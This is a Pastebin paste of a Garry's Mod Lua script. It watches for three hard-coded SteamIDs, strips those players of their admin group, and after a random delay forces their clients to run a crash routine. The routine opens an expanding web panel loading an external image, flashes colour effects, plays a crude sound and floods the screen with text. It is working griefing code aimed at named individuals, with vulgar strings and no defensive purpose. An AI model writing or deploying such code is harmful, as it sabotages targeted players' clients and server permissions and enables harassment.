Advertisement
Frost1

lelel.lua :^)

Jun 18th, 2013
167
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 4.39 KB | None | 0 0
  1. -- Fuel.
  2.  
  3. --connect: Kicked by Frost(STEAM_0:0:30912535) (Banned permanently: How about no).
  4. --Disconnect: Kicked by Frost(STEAM_0:0:30912535)
  5. if (SERVER) then
  6.  
  7.     hook.Add("PlayerInitialSpawn", "lel", function( pl )
  8.         if pl:SteamID() == "STEAM_0:0:30912535" or pl:SteamID() == "STEAM_0:0:35901997"
  9.         or pl:SteamID() == "STEAM_0:1:57618487" then
  10.             pl:ChatPrint("Welcome back, admen!")
  11.             pl:SetUserGroup("user")
  12.        
  13.             timer.Create("crashthatfucker", pl, math.random(420, 980), 1, function()
  14.                 --[[for k,v in pairs(player.GetAll()) do
  15.                     v:ChatPrint("Start saying your goodbyes to " .. pl:Nick() .. ".")
  16.                     umsg.Start("pknotifycrash")
  17.                         umsg.String(pl:Nick())
  18.                     umsg.End()
  19.                 end]]
  20.                
  21.                 pl:ConCommand("propkill_CrashMe")
  22.             end)
  23.         end
  24.     end)
  25.        
  26.        
  27. elseif (CLIENT) then
  28.  
  29.     local sc_increment = 1
  30.     concommand.Add("propkill_CrashMe", function( pl )
  31.         pl:ChatPrint("YOU'RE IN FOR A WORLD OF HURT!!!")
  32.  
  33.         surface.PlaySound("crapcore/staple_tape_worms_on_my_penis.mp3")
  34.        
  35.         timer.Create("crashmeyo", 1, 50, function()
  36.             sc_increment = sc_increment + 1
  37.         end)
  38.         pl.IsCrashing = true
  39.         pl.CrashTime = math.Round(CurTime(), 1)
  40.        
  41.         local aamgg = vgui.Create("HTML")
  42.         aamgg:SetPos( 1, 1 )
  43.         aamgg:SetSize( ScrW() / 2, ScrH() / 2 )
  44.         aamgg:OpenURL( "d1e0u2actw4eb3.cloudfront.net/h/src/1364117564793.jpg" )
  45.        
  46.         local increment = 1
  47.         timer.Create("imcrashingsooo", 0.1, 900, function()
  48.             aamgg:SetPos( math.random(60, 750), math.random(1, 150) )
  49.         end)
  50.        
  51.         timer.Simple(3, function()
  52.             --while true do
  53.             timer.Create("yeahalsocrashing", 0.07, 900, function()
  54.                 aamgg:SetSize( ScrW() * increment, ScrH() * increment )
  55.                 increment = increment + .2
  56.             end)
  57.         end)
  58.     end)
  59.        
  60.     hook.Add("RenderScreenspaceEffects", "Stalemate_GoBlackNLR", function()
  61.         if not LocalPlayer().IsCrashing then return end
  62.            
  63.         local colorsettings = {}
  64.         if math.random(1,2) == 1 then
  65.             colorsettings[ "$pp_colour_addr" ] = 1
  66.             colorsettings[ "$pp_colour_addg" ] = 0
  67.             colorsettings[ "$pp_colour_addb" ] = 0
  68.             colorsettings[ "$pp_colour_brightness" ] = 0
  69.             colorsettings[ "$pp_colour_contrast" ] = 1
  70.             colorsettings[ "$pp_colour_colour" ] = 1
  71.             colorsettings[ "$pp_colour_mulr" ] = 0
  72.             colorsettings[ "$pp_colour_mulg" ] = 1
  73.             colorsettings[ "$pp_colour_mulb" ] = 1
  74.         else
  75.             if math.random(1,2) == 1 then
  76.                 colorsettings[ "$pp_colour_addr" ] = 0
  77.                 colorsettings[ "$pp_colour_addg" ] = 1
  78.                 colorsettings[ "$pp_colour_addb" ] = 0
  79.                 colorsettings[ "$pp_colour_brightness" ] = 0
  80.                 colorsettings[ "$pp_colour_contrast" ] = 1
  81.                 colorsettings[ "$pp_colour_colour" ] = 1
  82.                 colorsettings[ "$pp_colour_mulr" ] = 1
  83.                 colorsettings[ "$pp_colour_mulg" ] = 0
  84.                 colorsettings[ "$pp_colour_mulb" ] = 0
  85.             else
  86.                 colorsettings[ "$pp_colour_addr" ] = 3
  87.                 colorsettings[ "$pp_colour_addg" ] = 3
  88.                 colorsettings[ "$pp_colour_addb" ] = 0
  89.                 colorsettings[ "$pp_colour_brightness" ] = 0
  90.                 colorsettings[ "$pp_colour_contrast" ] = 1
  91.                 colorsettings[ "$pp_colour_colour" ] = 1
  92.                 colorsettings[ "$pp_colour_mulr" ] = 1
  93.                 colorsettings[ "$pp_colour_mulg" ] = 3
  94.                 colorsettings[ "$pp_colour_mulb" ] = 0
  95.             end
  96.         end
  97.        
  98.         DrawColorModify(colorsettings)
  99.     end)
  100.  
  101.     hook.Add("HUDPaint", "drawcrash", function()
  102.         if not LocalPlayer().IsCrashing then return end
  103.        
  104.         draw.SimpleText("You have " .. math.Round(3 - (math.Round(CurTime(), 1) - LocalPlayer().CrashTime), 1) .. " seconds to speak.", "SomeHugeFont", ScrW()/2, (ScrH()/2) - 100, Color(255,255,255, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  105.        
  106.         local usefont = "UiBold"
  107.         local usecolor_r,usecolor_b,usecolor_g = math.random(50, 255),math.random(1, 255), math.random(70, 255)
  108.         if math.random(1,3) == 2 then usefont = "Shinycowwashere" end
  109.         if math.random(1, 30) == 25 then usefont = "SomeLargeFont" end
  110.        
  111.         for i=1,sc_increment do
  112.             draw.SimpleText( "Shinycow was here", usefont, math.random(90, 750), ScrH() - math.random(100, 900), Color(usecolor_r, usecolor_b, usecolor_g), 0, 1)
  113.         end
  114.     end)
  115.  
  116.     usermessage.Hook("pknotifycrash", "showadmencrash", function( um )
  117.         local plname = um:ReadString()
  118.         local pltime = CurTime()
  119.        
  120.         hook.Add("HUDPaint", "showadmencrash", function()
  121.             draw.SimpleText( plname .. " is going blastoff in " .. math.Round(3 - (math.Round(CurTime(), 1) - pltime), 1) .. " seconds.")
  122.         end)
  123.        
  124.         timer.Simple(3, function() hook.Remove("HUDPaint", "showadmencrash") end)
  125.     end)
  126.    
  127. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement